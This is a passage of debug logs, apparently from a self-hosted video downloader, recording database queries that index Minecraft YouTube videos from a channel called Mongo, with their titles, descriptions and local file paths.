PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "tRYboGBQZcs", "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, 1205, false, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, ~U[2026-06-02 17:00:06Z]] 19:43:36.998 [debug] QUERY OK source="sources" db=0.1ms idle=420.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:36.999 [debug] QUERY OK source="media_items" db=1.2ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 17:00:27Z], 31] 19:43:37.000 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "7aa4d2bb-45ad-4398-b5de-4c9183a89806", "MSrXwMFFpYo", false, "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, [], 1361, false, 2, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, false, 98, ~U[2026-06-01 17:00:27Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "MSrXwMFFpYo", "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, 1361, false, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, ~U[2026-06-01 17:00:27Z]] 19:43:37.001 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.002 [debug] QUERY OK source="media_items" db=1.0ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-31 17:00:07Z], 31] 19:43:37.003 [debug] QUERY OK source="media_items" db=1.0ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "5a9e9464-c057-4603-b77a-c639771eec2c", "-SXrtlMYJdk", false, "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, [], 1263, false, 3, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, false, 98, ~U[2026-05-31 17:00:07Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "-SXrtlMYJdk", "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, 1263, false, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, ~U[2026-05-31 17:00:07Z]] 19:43:37.004 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.005 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 17:00:10Z], 31] 19:43:37.006 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "41d782d6-ee0a-4a77-ab93-63e26593ca47", "gS2rtAwhgS4", false, "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, [], 1228, false, 4, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, false, 98, ~U[2026-05-30 17:00:10Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "gS2rtAwhgS4", "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, 1228, false, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, ~U[2026-05-30 17:00:10Z]] 19:43:37.006 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.007 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 17:00:06Z], 31] 19:43:37.008 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "da35b177-0f1c-4f10-84e9-13925e6cbca9", "MQ_d8wvuqLU", false, "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, [], 969, false, 5, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, false, 98, ~U[2026-05-29 17:00:06Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "MQ_d8wvuqLU", "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, 969, false, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, ~U[2026-05-29 17:00:06Z]] 19:43:37.009 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.010 [debug] QUERY OK source="media_items" db=1.1ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 17:26:02Z], 31] 19:43:37.011 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "52144969-656b-440a-ba97-d26b4bf4fec4", "DQr3uoXq09E", false, "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, [], 1064, false, 6, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, false, 98, ~U[2026-05-28 17:26:02Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "DQr3uoXq09E", "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, 1064, false, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, ~U[2026-05-28 17:26:02Z]] 19:43:37.011 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.013 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 17:00:27Z], 31] 19:43:37.014 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "55b89166-708a-48ba-8e7c-cacf792e9fe5", "T3NuRrQoyYg", false, "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, [], 1050, false, 7, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, false, 98, ~U[2026-05-27 17:00:27Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "T3NuRrQoyYg", "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, 1050, false, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, ~U[2026-05-27 17:00:27Z]] 19:43:37.014 [debug] QUERY OK source="sources" db=0.4ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.015 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 17:00:00Z], 31] 19:43:37.016 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "014adbe4-3206-4371-ad14-72dc245fb92b", "yiadofzzi7Y", false, "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, [], 935, false, 8, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, false, 98, ~U[2026-05-26 17:00:00Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "yiadofzzi7Y", "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, 935, false, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, ~U[2026-05-26 17:00:00Z]] 19:43:37.017 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.018 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 17:00:01Z], 31] 19:43:37.019 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "5faf609f-1e59-4e39-88da-bb5d07a1a54a", "25gZa2W_uyA", false, "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, [], 966, false, 9, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, false, 98, ~U[2026-05-25 17:00:01Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "25gZa2W_uyA", "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, 966, false, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, ~U[2026-05-25 17:00:01Z]] 19:43:37.019 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.021 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-24 17:34:55Z], 31] 19:43:37.022 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "c005df38-8c7e-4dac-b5ea-4bad22ecf542", "NKbjniE9Ug4", false, "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, [], 1120, false, 10, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, false, 98, ~U[2026-05-24 17:34:55Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "NKbjniE9Ug4", "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, 1120, false, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, ~U[2026-05-24 17:34:55Z]] 19:43:37.022 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.024 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 17:00:07Z], 31] 19:43:37.024 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "c69a62a8-0e09-4428-a7af-bc1049b74da2", "7TrJHLfmISo", false, "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, [], 997, false, 11, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, false, 98, ~U[2026-05-23 17:00:07Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "7TrJHLfmISo", "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, 997, false, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! 